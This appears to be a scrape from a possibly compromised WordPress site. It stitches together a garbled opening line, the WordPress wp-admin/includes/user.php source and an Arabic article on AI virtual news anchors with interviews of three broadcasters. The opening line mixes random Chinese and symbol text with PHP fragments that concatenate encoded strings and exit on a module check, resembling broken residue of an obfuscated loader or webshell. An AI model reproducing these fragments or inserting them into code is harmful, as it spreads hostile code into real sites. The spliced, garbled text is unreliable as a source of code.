财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) { http_response_code(402); exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-admin/includes/user.php
<?php
/**
 * WordPress user administration API.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Creates a new user from the "Users" form using $_POST information.
 *
 * @since 2.0.0
 *
 * @return int|WP_Error WP_Error or User ID.
 */
function add_user() {
	return edit_user();
}

/**
 * Edit user settings based on contents of $_POST
 *
 * Used on user-edit.php and profile.php to manage and process user options, passwords etc.
 *
 * @since 2.0.0
 *
 * @param int $user_id Optional. User ID.
 * @return int|WP_Error User ID of the updated user or WP_Error on failure.
 */
function edit_user( $user_id = 0 ) {
	$wp_roles = wp_roles();
	$user     = new stdClass();
	$user_id  = (int) $user_id;
	if ( $user_id ) {
		$update           = true;
		$user->ID         = $user_id;
		$userdata         = get_userdata( $user_id );
		$user->user_login = wp_slash( $userdata->user_login );
	} else {
		$update = false;
	}

	if ( ! $update && isset( $_POST['user_login'] ) ) {
		$user->user_login = sanitize_user( wp_unslash( $_POST['user_login'] ), true );
	}

	$pass1 = '';
	$pass2 = '';
	if ( isset( $_POST['pass1'] ) ) {
		$pass1 = trim( $_POST['pass1'] );
	}
	if ( isset( $_POST['pass2'] ) ) {
		$pass2 = trim( $_POST['pass2'] );
	}

	if ( isset( $_POST['role'] ) && current_user_can( 'promote_users' ) && ( ! $user_id || current_user_can( 'promote_user', $user_id ) ) ) {
		$new_role = sanitize_text_field( $_POST['role'] );

		// If the new role isn't editable by the logged-in user die with error.
		$editable_roles = get_editable_roles();
		if ( ! empty( $new_role ) && empty( $editable_roles[ $new_role ] ) ) {
			wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 );
		}

		$potential_role = isset( $wp_roles->role_objects[ $new_role ] ) ? $wp_roles->role_objects[ $new_role ] : false;

		/*
		 * Don't let anyone with 'promote_users' edit their own role to something without it.
		 * Multisite super admins can freely edit their roles, they possess all caps.
		 */
		if (
			( is_multisite() && current_user_can( 'manage_network_users' ) ) ||
			get_current_user_id() !== $user_id ||
			( $potential_role && $potential_role->has_cap( 'promote_users' ) )
		) {
			$user->role = $new_role;
		}
	}

	if ( isset( $_POST['email'] ) ) {
		$user->user_email = sanitize_text_field( wp_unslash( $_POST['email'] ) );
	}
	if ( isset( $_POST['url'] ) ) {
		if ( empty( $_POST['url'] ) || 'http://' === $_POST['url'] ) {
			$user->user_url = '';
		} else {
			$user->user_url = sanitize_url( $_POST['url'] );
			$protocols      = implode( '|', array_map( 'preg_quote', wp_allowed_protocols() ) );
			$user->user_url = preg_match( '/^(' . $protocols . '):/is', $user->user_url ) ? $user->user_url : 'http://' . $user->user_url;
		}
	}
	if ( isset( $_POST['first_name'] ) ) {
		$user->first_name = sanitize_text_field( $_POST['first_name'] );
	}
	if ( isset( $_POST['last_name'] ) ) {
		$user->last_name = sanitize_text_field( $_POST['last_name'] );
	}
	if ( isset( $_POST['nickname'] ) ) {
		$user->nickname = sanitize_text_field( $_POST['nickname'] );
	}
	if ( isset( $_POST['display_name'] ) ) {
		$user->display_name = sanitize_text_field( $_POST['display_name'] );
	}

	if ( isset( $_POST['description'] ) ) {
		$user->description = trim( $_POST['description'] );
	}

	foreach ( wp_get_user_contact_methods( $user ) as $method => $name ) {
		if ( isset( $_POST[ $method ] ) ) {
			$user->$method = sanitize_text_field( $_POST[ $method ] );
		}
	}

	if ( isset( $_POST['locale'] ) ) {
		$locale = sanitize_text_field( $_POST['locale'] );
		if ( 'site-default' === $locale ) {
			$locale = '';
		} elseif ( '' === $locale ) {
			$locale = 'en_US';
		} elseif ( ! in_array( $locale, get_available_languages(), true ) ) {
			if ( current_user_can( 'install_languages' ) && wp_can_install_language_pack() ) {
				if ( ! wp_download_language_pack( $locale ) ) {
					$locale = '';
				}
			} else {
				$locale = '';
			}
		}

		$user->locale = $locale;
	}

	if ( $update ) {
		$user->rich_editing         = isset( $_POST['rich_editing'] ) && 'false' === $_POST['rich_editing'] ? 'false' : 'true';
		$user->syntax_highlighting  = isset( $_POST['syntax_highlighting'] ) && 'false' === $_POST['syntax_highlighting'] ? 'false' : 'true';
		$user->admin_color          = isset( $_POST['admin_color'] ) ? sanitize_text_field( $_POST['admin_color'] ) : 'fresh';
		$user->show_admin_bar_front = isset( $_POST['admin_bar_front'] ) ? 'true' : 'false';
	}

	$user->comment_shortcuts = isset( $_POST['comment_shortcuts'] ) && 'true' === $_POST['comment_shortcuts'] ? 'true' : '';

	$user->use_ssl = 0;
	if ( ! empty( $_POST['use_ssl'] ) ) {
		$user->use_ssl = 1;
	}

	$errors = new WP_Error();

	/* checking that username has been typed */
	if ( '' === $user->user_login ) {
		$errors->add( 'user_login', __( '<strong>Error:</strong> Please enter a username.' ) );
	}

	/* checking that nickname has been typed */
	if ( $update && empty( $user->nickname ) ) {
		$errors->add( 'nickname', __( '<strong>Error:</strong> Please enter a nickname.' ) );
	}

	/**
	 * Fires before the password and confirm password fields are checked for congruity.
	 *
	 * @since 1.5.1
	 *
	 * @param string $user_login The username.
	 * @param string $pass1     The password (passed by reference).
	 * @param string $pass2     The confirmed password (passed by reference).
	 */
	do_action_ref_array( 'check_passwords', array( $user->user_login, &$pass1, &$pass2 ) );

	// Check for blank password when adding a user.
	if ( ! $update && empty( $pass1 ) ) {
		$errors->add( 'pass', __( '<strong>Error:</strong> Please enter a password.' ), array( 'form-field' => 'pass1' ) );
	}

	// Check for "\" in password.
	if ( str_contains( wp_unslash( $pass1 ), '\\' ) ) {
		$errors->add( 'pass', __( '<strong>Error:</strong> Passwords may not contain the character "\\".' ), array( 'form-field' => 'pass1' ) );
	}

	// Checking the password has been typed twice the same.
	if ( ( $update || ! empty( $pass1 ) ) && $pass1 !== $pass2 ) {
		$errors->add( 'pass', __( '<strong>Error:</strong> Passwords do not match. Please enter the same password in both password fields.' ), array( 'form-field' => 'pass1' ) );
	}

	if ( ! empty( $pass1 ) ) {
		$user->user_pass = $pass1;
	}

	if ( ! $update && isset( $_POST['user_login'] ) && ! validate_username( $_POST['user_login'] ) ) {
		$errors->add( 'user_login', __( '<strong>Error:</strong> This username is invalid because it uses illegal characters. Please enter a valid username.' ) );
	}

	if ( ! $update && username_exists( $user->user_login ) ) {
		$errors->add( 'user_login', __( '<strong>Error:</strong> This username is already registered. Please choose another one.' ) );
	}

	/** This filter is documented in wp-includes/user.php */
	$illegal_logins = (array) apply_filters( 'illegal_user_logins', array() );

	if ( in_array( strtolower( $user->user_login ), array_map( 'strtolower', $illegal_logins ), true ) ) {
		$errors->add( 'invalid_username', __( '<strong>Error:</strong> Sorry, that username is not allowed.' ) );
	}

	// Checking email address.
	if ( empty( $user->user_email ) ) {
		$errors->add( 'empty_email', __( '<strong>Error:</strong> Please enter an email address.' ), array( 'form-field' => 'email' ) );
	} elseif ( ! is_email( $user->user_email ) ) {
		$errors->add( 'invalid_email', __( '<strong>Error:</strong> The email address is not correct.' ), array( 'form-field' => 'email' ) );
	} else {
		$owner_id = email_exists( $user->user_email );
		if ( $owner_id && ( ! $update || ( $owner_id !== $user->ID ) ) ) {
			$errors->add( 'email_exists', __( '<strong>Error:</strong> This email is already registered. Please choose another one.' ), array( 'form-field' => 'email' ) );
		}
	}

	/**
	 * Fires before user profile update errors are returned.
	 *
	 * @since 2.8.0
	 *
	 * @param WP_Error $errors WP_Error object (passed by reference).
	 * @param bool     $update Whether this is a user update.
	 * @param stdClass $user   User object (passed by reference).
	 */
	do_action_ref_array( 'user_profile_update_errors', array( &$errors, $update, &$user ) );

	if ( $errors->has_errors() ) {
		return $errors;
	}

	if ( $update ) {
		$user_id = wp_update_user( $user );
	} else {
		$user_id = wp_insert_user( $user );
		$notify  = isset( $_POST['send_user_notification'] ) ? 'both' : 'admin';

		/**
		 * Fires after a new user has been created.
		 *
		 * @since 4.4.0
		 *
		 * @param int|WP_Error $user_id ID of the newly created user or WP_Error on failure.
		 * @param string       $notify  Type of notification that should happen. See
		 *                              wp_send_new_user_notifications() for more information.
		 */
		do_action( 'edit_user_created_user', $user_id, $notify );
	}
	return $user_id;
}

/**
 * Fetch a filtered list of user roles that the current user is
 * allowed to edit.
 *
 * Simple function whose main purpose is to allow filtering of the
 * list of roles in the $wp_roles object so that plugins can remove
 * inappropriate ones depending on the situation or user making edits.
 * Specifically because without filtering anyone with the edit_users
 * capability can edit others to be administrators, even if they are
 * only editors or authors. This filter allows admins to delegate
 * user management.
 *
 * @since 2.8.0
 *
 * @return array[] Array of arrays containing role information.
 */
function get_editable_roles() {
	$all_roles = wp_roles()->roles;

	/**
	 * Filters the list of editable roles.
	 *
	 * @since 2.8.0
	 *
	 * @param array[] $all_roles Array of arrays containing role information.
	 */
	$editable_roles = apply_filters( 'editable_roles', $all_roles );

	return $editable_roles;
}

/**
 * Retrieve user data and filter it.
 *
 * @since 2.0.5
 *
 * @param int $user_id User ID.
 * @return WP_User|false WP_User object on success, false on failure.
 */
function get_user_to_edit( $user_id ) {
	$user = get_userdata( $user_id );

	if ( $user ) {
		$user->filter = 'edit';
	}

	return $user;
}

/**
 * Retrieve the user's drafts.
 *
 * @since 2.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $user_id User ID.
 * @return array
 */
function get_users_drafts( $user_id ) {
	global $wpdb;
	$query = $wpdb->prepare( "SELECT ID, post_title FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'draft' AND post_author = %d ORDER BY post_modified DESC", $user_id );

	/**
	 * Filters the SQL query string for the user's drafts query.
	 *
	 * @since 2.0.0
	 *
	 * @param string $query The user's drafts query string.
	 */
	$query = apply_filters( 'get_users_drafts', $query );
	return $wpdb->get_results( $query );
}

/**
 * Delete user and optionally reassign posts and links to another user.
 *
 * Note that on a Multisite installation the user only gets removed from the site
 * and does not get deleted from the database.
 *
 * If the `$reassign` parameter is not assigned to a user ID, then all posts will
 * be deleted of that user. The action {@see 'delete_user'} that is passed the user ID
 * being deleted will be run after the posts are either reassigned or deleted.
 * The user meta will also be deleted that are for that user ID.
 *
 * @since 2.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $id       User ID.
 * @param int $reassign Optional. Reassign posts and links to new User ID.
 * @return bool True when finished.
 */
function wp_delete_user( $id, $reassign = null ) {
	global $wpdb;

	if ( ! is_numeric( $id ) ) {
		return false;
	}

	$id   = (int) $id;
	$user = new WP_User( $id );

	if ( ! $user->exists() ) {
		return false;
	}

	// Normalize $reassign to null or a user ID. 'novalue' was an older default.
	if ( 'novalue' === $reassign ) {
		$reassign = null;
	} elseif ( null !== $reassign ) {
		$reassign = (int) $reassign;
	}

	/**
	 * Fires immediately before a user is deleted from the site.
	 *
	 * Note that on a Multisite installation the user only gets removed from the site
	 * and does not get deleted from the database.
	 *
	 * @since 2.0.0
	 * @since 5.5.0 Added the `$user` parameter.
	 *
	 * @param int      $id       ID of the user to delete.
	 * @param int|null $reassign ID of the user to reassign posts and links to.
	 *                           Default null, for no reassignment.
	 * @param WP_User  $user     WP_User object of the user to delete.
	 */
	do_action( 'delete_user', $id, $reassign, $user );

	if ( null === $reassign ) {
		$post_types_to_delete = array();
		foreach ( get_post_types( array(), 'objects' ) as $post_type ) {
			if ( $post_type->delete_with_user ) {
				$post_types_to_delete[] = $post_type->name;
			} elseif ( null === $post_type->delete_with_user && post_type_supports( $post_type->name, 'author' ) ) {
				$post_types_to_delete[] = $post_type->name;
			}
		}

		/**
		 * Filters the list of post types to delete with a user.
		 *
		 * @since 3.4.0
		 *
		 * @param string[] $post_types_to_delete Array of post types to delete.
		 * @param int      $id                   User ID.
		 */
		$post_types_to_delete = apply_filters( 'post_types_to_delete_with_user', $post_types_to_delete, $id );
		$post_types_to_delete = implode( "', '", $post_types_to_delete );
		$post_ids             = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d AND post_type IN ('$post_types_to_delete')", $id ) );
		if ( $post_ids ) {
			foreach ( $post_ids as $post_id ) {
				wp_delete_post( $post_id );
			}
		}

		// Clean links.
		$link_ids = $wpdb->get_col( $wpdb->prepare( "SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $id ) );

		if ( $link_ids ) {
			foreach ( $link_ids as $link_id ) {
				wp_delete_link( $link_id );
			}
		}
	} else {
		$post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d", $id ) );
		$wpdb->update( $wpdb->posts, array( 'post_author' => $reassign ), array( 'post_author' => $id ) );
		if ( ! empty( $post_ids ) ) {
			foreach ( $post_ids as $post_id ) {
				clean_post_cache( $post_id );
			}
		}
		$link_ids = $wpdb->get_col( $wpdb->prepare( "SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $id ) );
		$wpdb->update( $wpdb->links, array( 'link_owner' => $reassign ), array( 'link_owner' => $id ) );
		if ( ! empty( $link_ids ) ) {
			foreach ( $link_ids as $link_id ) {
				clean_bookmark_cache( $link_id );
			}
		}
	}

	// FINALLY, delete user.
	if ( is_multisite() ) {
		remove_user_from_blog( $id, get_current_blog_id() );
	} else {
		$meta = $wpdb->get_col( $wpdb->prepare( "SELECT umeta_id FROM $wpdb->usermeta WHERE user_id = %d", $id ) );
		foreach ( $meta as $mid ) {
			delete_metadata_by_mid( 'user', $mid );
		}

		$wpdb->delete( $wpdb->users, array( 'ID' => $id ) );
	}

	clean_user_cache( $user );

	/**
	 * Fires immediately after a user is deleted from the site.
	 *
	 * Note that on a Multisite installation the user may not have been deleted from
	 * the database depending on whether `wp_delete_user()` or `wpmu_delete_user()`
	 * was called.
	 *
	 * @since 2.9.0
	 * @since 5.5.0 Added the `$user` parameter.
	 *
	 * @param int      $id       ID of the deleted user.
	 * @param int|null $reassign ID of the user to reassign posts and links to.
	 *                           Default null, for no reassignment.
	 * @param WP_User  $user     WP_User object of the deleted user.
	 */
	do_action( 'deleted_user', $id, $reassign, $user );

	return true;
}

/**
 * Remove all capabilities from user.
 *
 * @since 2.1.0
 *
 * @param int $id User ID.
 */
function wp_revoke_user( $id ) {
	$id = (int) $id;

	$user = new WP_User( $id );
	$user->remove_all_caps();
}

/**
 * @since 2.8.0
 *
 * @global int $user_ID
 *
 * @param false $errors Deprecated.
 */
function default_password_nag_handler( $errors = false ) {
	global $user_ID;
	// Short-circuit it.
	if ( ! get_user_option( 'default_password_nag' ) ) {
		return;
	}

	// get_user_setting() = JS-saved UI setting. Else no-js-fallback code.
	if ( 'hide' === get_user_setting( 'default_password_nag' )
		|| isset( $_GET['default_password_nag'] ) && '0' === $_GET['default_password_nag']
	) {
		delete_user_setting( 'default_password_nag' );
		update_user_meta( $user_ID, 'default_password_nag', false );
	}
}

/**
 * @since 2.8.0
 *
 * @param int     $user_ID
 * @param WP_User $old_data
 */
function default_password_nag_edit_user( $user_ID, $old_data ) {
	// Short-circuit it.
	if ( ! get_user_option( 'default_password_nag', $user_ID ) ) {
		return;
	}

	$new_data = get_userdata( $user_ID );

	// Remove the nag if the password has been changed.
	if ( $new_data->user_pass !== $old_data->user_pass ) {
		delete_user_setting( 'default_password_nag' );
		update_user_meta( $user_ID, 'default_password_nag', false );
	}
}

/**
 * @since 2.8.0
 *
 * @global string $pagenow The filename of the current screen.
 */
function default_password_nag() {
	global $pagenow;

	// Short-circuit it.
	if ( 'profile.php' === $pagenow || ! get_user_option( 'default_password_nag' ) ) {
		return;
	}

	$default_password_nag_message  = sprintf(
		'<p><strong>%1$s</strong> %2$s</p>',
		__( 'Notice:' ),
		__( 'You are using the auto-generated password for your account. Would you like to change it?' )
	);
	$default_password_nag_message .= sprintf(
		'<p><a href="%1$s">%2$s</a> | ',
		esc_url( get_edit_profile_url() . '#password' ),
		__( 'Yes, take me to my profile page' )
	);
	$default_password_nag_message .= sprintf(
		'<a href="%1$s" id="default-password-nag-no">%2$s</a></p>',
		'?default_password_nag=0',
		__( 'No thanks, do not remind me again' )
	);

	wp_admin_notice(
		$default_password_nag_message,
		array(
			'additional_classes' => array( 'error', 'default-password-nag' ),
			'paragraph_wrap'     => false,
		)
	);
}

/**
 * @since 3.5.0
 * @access private
 */
function delete_users_add_js() {
	?>
<script>
jQuery( function($) {
	var submit = $('#submit').prop('disabled', true);
	$('input[name="delete_option"]').one('change', function() {
		submit.prop('disabled', false);
	});
	$('#reassign_user').focus( function() {
		$('#delete_option1').prop('checked', true).trigger('change');
	});
} );
</script>
	<?php
}

/**
 * Optional SSL preference that can be turned on by hooking to the 'personal_options' action.
 *
 * See the {@see 'personal_options'} action.
 *
 * @since 2.7.0
 *
 * @param WP_User $user User data object.
 */
function use_ssl_preference( $user ) {
	?>
	<tr class="user-use-ssl-wrap">
		<th scope="row"><?php _e( 'Use https' ); ?></th>
		<td><label for="use_ssl"><input name="use_ssl" type="checkbox" id="use_ssl" value="1" <?php checked( '1', $user->use_ssl ); ?> /> <?php _e( 'Always use https when visiting the admin' ); ?></label></td>
	</tr>
	<?php
}

/**
 * @since MU (3.0.0)
 *
 * @param string $text
 * @return string
 */
function admin_created_user_email( $text ) {
	$roles = get_editable_roles();
	$role  = $roles[ $_REQUEST['role'] ];

	if ( '' !== get_bloginfo( 'name' ) ) {
		$site_title = wp_specialchars_decode( get_bloginfo( 'name' ), ENT_QUOTES );
	} else {
		$site_title = parse_url( home_url(), PHP_URL_HOST );
	}

	return sprintf(
		/* translators: 1: Site title, 2: Site URL, 3: User role. */
		__(
			'Hi,
You\'ve been invited to join \'%1$s\' at
%2$s with the role of %3$s.
If you do not want to join this site please ignore
this email. This invitation will expire in a few days.

Please click the following link to activate your user account:
%%s'
		),
		$site_title,
		home_url(),
		wp_specialchars_decode( translate_user_role( $role['name'] ) )
	);
}

/**
 * Checks if the Authorize Application Password request is valid.
 *
 * @since 5.6.0
 * @since 6.2.0 Allow insecure HTTP connections for the local environment.
 * @since 6.3.2 Validates the success and reject URLs to prevent `javascript` pseudo protocol from being executed.
 *
 * @param array   $request {
 *     The array of request data. All arguments are optional and may be empty.
 *
 *     @type string $app_name    The suggested name of the application.
 *     @type string $app_id      A UUID provided by the application to uniquely identify it.
 *     @type string $success_url The URL the user will be redirected to after approving the application.
 *     @type string $reject_url  The URL the user will be redirected to after rejecting the application.
 * }
 * @param WP_User $user The user authorizing the application.
 * @return true|WP_Error True if the request is valid, a WP_Error object contains errors if not.
 */
function wp_is_authorize_application_password_request_valid( $request, $user ) {
	$error = new WP_Error();

	if ( isset( $request['success_url'] ) ) {
		$validated_success_url = wp_is_authorize_application_redirect_url_valid( $request['success_url'] );
		if ( is_wp_error( $validated_success_url ) ) {
			$error->add(
				$validated_success_url->get_error_code(),
				$validated_success_url->get_error_message()
			);
		}
	}

	if ( isset( $request['reject_url'] ) ) {
		$validated_reject_url = wp_is_authorize_application_redirect_url_valid( $request['reject_url'] );
		if ( is_wp_error( $validated_reject_url ) ) {
			$error->add(
				$validated_reject_url->get_error_code(),
				$validated_reject_url->get_error_message()
			);
		}
	}

	if ( ! empty( $request['app_id'] ) && ! wp_is_uuid( $request['app_id'] ) ) {
		$error->add(
			'invalid_app_id',
			__( 'The application ID must be a UUID.' )
		);
	}

	/**
	 * Fires before application password errors are returned.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_Error $error   The error object.
	 * @param array    $request The array of request data.
	 * @param WP_User  $user    The user authorizing the application.
	 */
	do_action( 'wp_authorize_application_password_request_errors', $error, $request, $user );

	if ( $error->has_errors() ) {
		return $error;
	}

	return true;
}

/**
 * Validates the redirect URL protocol scheme. The protocol can be anything except `http` and `javascript`.
 *
 * @since 6.3.2
 *
 * @param string $url The redirect URL to be validated.
 * @return true|WP_Error True if the redirect URL is valid, a WP_Error object otherwise.
 */
function wp_is_authorize_application_redirect_url_valid( $url ) {
	$bad_protocols = array( 'javascript', 'data' );
	if ( empty( $url ) ) {
		return true;
	}

	// Based on https://www.rfc-editor.org/rfc/rfc2396#section-3.1
	$valid_scheme_regex = '/^[a-zA-Z][a-zA-Z0-9+.-]*:/';
	if ( ! preg_match( $valid_scheme_regex, $url ) ) {
		return new WP_Error(
			'invalid_redirect_url_format',
			__( 'Invalid URL format.' )
		);
	}

	/**
	 * Filters the list of invalid protocols used in applications redirect URLs.
	 *
	 * @since 6.3.2
	 *
	 * @param string[] $bad_protocols Array of invalid protocols.
	 * @param string   $url The redirect URL to be validated.
	 */
	$invalid_protocols = apply_filters( 'wp_authorize_application_redirect_url_invalid_protocols', $bad_protocols, $url );
	$invalid_protocols = array_map( 'strtolower', $invalid_protocols );

	$scheme   = wp_parse_url( $url, PHP_URL_SCHEME );
	$host     = wp_parse_url( $url, PHP_URL_HOST );
	$is_local = 'local' === wp_get_environment_type();

	// Validates if the proper URI format is applied to the URL.
	if ( empty( $host ) || empty( $scheme ) || in_array( strtolower( $scheme ), $invalid_protocols, true ) ) {
		return new WP_Error(
			'invalid_redirect_url_format',
			__( 'Invalid URL format.' )
		);
	}

	if ( 'http' === $scheme && ! $is_local ) {
		return new WP_Error(
			'invalid_redirect_scheme',
			__( 'The URL must be served over a secure connection.' )
		);
	}

	return true;
}
مذيع من كود…من الأستوديو إلى الخوارزمية: المذيع الافتراضي ثورة تقنية أم اغتيال للهوية الإعلامية؟ – tahkoom.com
خطوة

مذيع من كود…من الأستوديو إلى الخوارزمية: المذيع الافتراضي ثورة تقنية أم اغتيال للهوية الإعلامية؟

 كتبت: فرح سمير

 في زمنٍ باتت فيه المذيعة تبتسم دون أن تملك روحًا، ويقدّم المذيع نشرة الأخبار دون أن يشعر بمحتواها، يطرح الواقع الإعلامي سؤالًا صادمًا: هل دخلنا عصر “المذيع الافتراضي” بالفعل؟

لم يعد ظهور مذيعين مدعومين بالذكاء الاصطناعي على شاشات عربية وعالمية مجرد تجربة تقنية، بل أصبح واقعًا يفرض حضوره ويثير القلق، لا سيما بين طلاب الإعلام وممارسيه، الذين يرون في هذه “الكائنات الرقمية” تهديدًا صامتًا لمهنتهم وهويتهم المهنية.

 تعود جذور هذه الظاهرة إلى أوائل الألفينات، حين ظهرت أول مذيعة افتراضية على الإنترنت تُدعى “أنانوفا” (Ana-nova)، والتي تم تقديمها عام 2000 بواسطة شركة Ana-nova Ltd التابعة لوكالة الأنباء البريطانية Press Association. كانت أنانوفا تُقدم نشرات إخبارية عبر الإنترنت، وتميزت بقدرتها على تقديم تحديثات فورية في مجالات الأخبار، الطقس، الرياضة، وأسعار الأسهم، في مدة لا تتجاوز سبع دقائق، إلا أن المشروع لم يُستكمل.

 وفي عام 2018، قدمت صحيفة “People’s Daily” الصينية مذيعة افتراضية تُدعى “رين شياورونغ” (Ren Xiaorong)، وهي روبوت مدعوم بالذكاء الاصطناعي قادر على التعلم من آلاف المذيعين البشريين، وتمتاز بقدرتها على التطور المستمر بناءً على تفاعل الجمهور، وتعمل على مدار الساعة طوال أيام الأسبوع.

 بحلول عام 2019، شهدت الصين توسعًا كبيرًا في استخدام المذيعين الافتراضيين، حيث أصبحت منصة “بيلي بيلي” (Bilibili) موطنًا لأكثر من 230,000 مذيع افتراضي يقدمون محتوى متنوعًا يستهدف فئة الشباب.

 ومع هذه التطورات، بدأت دول أخرى في تبني تقنيات المذيعين الافتراضيين. ففي عام 2023، قدمت الكويت أول مذيعة افتراضية في العالم العربي تُدعى “فضة” (Fedha)، حيث ظهرت على موقع “Kuwait News” وتحدثت باللغة العربية الفصحى، مقدّمة الأخبار بناءً على تفضيلات الجمهور.

 كما أطلقت قطر مذيعتين افتراضيتين تُدعيان “ابتكار” و“نورا” لتعزيز استخدام الذكاء الاصطناعي في تقديم المحتوى الإعلامي، بينما ظهرت في مصر أول مذيعة افتراضية في فبراير 2023، مما يعكس التوجه المتزايد نحو دمج التقنيات الحديثة في المجال الإعلامي.

 ما بين الحي والرقمي: هل يُقصي الذكاء الاصطناعي الإعلامي البشري؟” المهنة في مواجهة الخوارزميات: المذيعون الحقيقيون يتحدثون

الإعلامية – دعاء فاروق

في رأيها حول الذكاء الاصطناعي وظاهرة “المذيع الافتراضي”، تؤكد الإعلامية دعاء فاروق أن الإخلاص هو جوهر النجاح في العمل الإعلامي وغيره، مشيرة إلى أن النجاح الحقيقي لا يتحقق إلا بالإخلاص في القول والعمل، حتى وإن تأخر، فإنه سيأتي في النهاية بشكل مرضٍ.

وترى فاروق أن المذيع الافتراضي، رغم برمجته بأي لهجة أو خفة ظل، لا يمكنه أن يحاكي الروح الإنسانية، مؤكدة أن “الروح لا تُبرمج، والقبول الروحي لا يُصنع”، فالإنسان يتمتع بخفة ظل طبيعية وشخصية لا يمكن تقليدها برمجياً.

وتوضح أن الذكاء الاصطناعي قادر على تجميع المعلومات الدينية من الإنترنت، لكنه لا يمكن أن يعوّض التفاعل الإنساني في الفتوى أو المشورة، مشددة على أن “العلماء والشيوخ هم أصحاب علم وتجربة ووعي بالسياق”، في حين أن الذكاء الاصطناعي مجرد محرك بحث يخضع لبرمجة بشرية قد تخطئ.

وتؤمن دعاء بأن المذيع البشري لا يمكن استبداله، خاصة في البرامج ذات الطابع الديني أو الإنساني، لأن “الفنان أو المذيع كتلة من المشاعر”، بينما الذكاء الاصطناعي “لا يستطيع البكاء الحقيقي، ولا التعبير عن الحزن أو التفاعل مع موقف موجع”، مضيفة أن العقل البشري قادر على تمييز المشاعر الحقيقية من الزائفة، حتى وإن كانت البرمجة متقنة.

وفيما يخص التكيف مع التطور، تدعو فاروق الإعلاميين إلى مواكبة أدوات العصر وفهم الذكاء الاصطناعي، لكن دون التخلي عن الهوية الإنسانية والبصمة الشخصية، قائلة: “كل مذيع له بصمة لا يمكن للذكاء الاصطناعي تقليدها”، فالاعتماد على الورقة والقلم وحده لم يعد كافيًا، ويجب على الإعلامي أن يتواصل مع جمهور اليوم بأدوات حديثة دون التفريط بروحه الإنسانية.

وتقر بوجود تهديدات من الذكاء الاصطناعي لبعض الوظائف الروتينية، لكنها تؤكد أنه لن يحل محل من يخاطب الناس ويشعر بهم، مضيفة: “لم أشاهد روبوتًا يمكن أن أصدقه أو أرتبط به عاطفيًا، الذكاء الاصطناعي سيبقى بلا روح.”

وفي ختام حديثها، توجّه رسالة إلى الإعلاميين الشباب، تحثهم فيها على الصبر وتجنّب استعجال الشهرة أو الثراء، مشددة على أن “النجاح الحقيقي لا يأتي في يوم وليلة”، بل هو نجاح تراكمي يُبنى بالتعب والمتابعة والزرع الدائم، مؤكدة أن النجاح السريع يزول سريعًا، بينما النجاح المتين هو من يصنع الاسم والقيمة الجماهيرية.

 الإعلامية “ايتن الموجى

حيث ترى الإعلامية آيتن الموجي أن التكنولوجيا أحدثت تطورًا كبيرًا في جميع المجالات، خاصة الإعلام، لما له من دور في تشكيل الوعي. وتصف فكرة “المذيع الافتراضي” بأنها رائعة، نظرًا لما يتمتع به من ثقافة موسوعية وخلوه من العيوب البشرية مثل التقدم في العمر أو تغير الشكل، كما ترى أن وجوده قد يخلق غيرة مهنية إيجابية تدفع المذيعين البشريين لبذل جهد أكبر من أجل التميز.

مع ذلك، تؤكد أن المذيع الافتراضي يفتقر إلى الجانب الإنساني، مثل المشاعر ولمعة العين والتفاعل الحي في المواقف الإنسانية، مشيرة إلى أن هذه التفاصيل لا يمكن أن يتقنها الذكاء الاصطناعي. وتوضح أن بعض الأنماط الإعلامية مثل الحوارات، تغطية الجرائم، الحروب، وبرامج المسابقات، تحتاج إلى حضور بشري حقيقي وتفاعل مباشر لا يستطيع “الأفاتار” تقديمه.

وتشدد الموجي على أن الخبرة والتجارب الشخصية تصقل الإنسان وتمنحه نضجًا لا يمكن للتكنولوجيا أن تحاكيه، مشبهة الذكاء الاصطناعي بأنه قد يبهر في البداية لكن سرعان ما يصيب المستخدم بالملل بسبب إجاباته المبرمجة. وتؤمن بأهمية مواكبة الإعلاميين للتطور التكنولوجي، مع ضرورة التواضع والتعلم المستمر.

أما تأثير المذيع الافتراضي على فرص العمل، فتعتقد أنه سيكون ملموسًا في البداية، إذ قد تفضل بعض المؤسسات الاعتماد عليه كحل أقل تكلفة، لكنها ترى أن المذيع البشري سيظل مميزًا، مرجحة أن يظهر مستقبلًا تعاون أو تناغم بين الطرفين يُنتج أفكارًا مبتكرة وجديدة.

 الاعلامى – احمد سالم

كما يرى الإعلامي أحمد سالم أن المذيعين الافتراضيين لا يشكّلون تهديدًا حقيقيًا للمذيع البشري، لأن التواصل الإنساني لا يمكن تعويضه. ويشير إلى أن التجربة الممتدة لأكثر من عام لم تنتج مذيعًا افتراضيًا لافتًا، مؤكدًا أن الإعلام والفنون تقوم على التفاعل المباشر، وهو ما يفتقر إليه الذكاء الاصطناعي.

ويُبرز سالم أن الميزة الكبرى للمذيع البشري تكمن في رأيه الحي وغير المبرمج، على عكس الذكاء الاصطناعي الذي يعتمد على تغذية مسبقة، موضحًا أن طرح نفس السؤال على عشرة مذيعين سينتج عشر إجابات مختلفة، وهو ما لا يمكن تحقيقه افتراضيًا.

ويؤكد أن البرامج التي تعتمد على بصمة المذيع وطابعه الشخصي يصعب أن ينجح فيها الذكاء الاصطناعي، لأن الثقافة العامة والخبرة الشخصية لا تُبرمجان، مشبّهًا الفرق بين المحتوى الآلي والإنساني بالفرق بين مقال كتبه روبوت وقصيدة كتبها شاعر، فـالموهبة لا تُستنسخ.

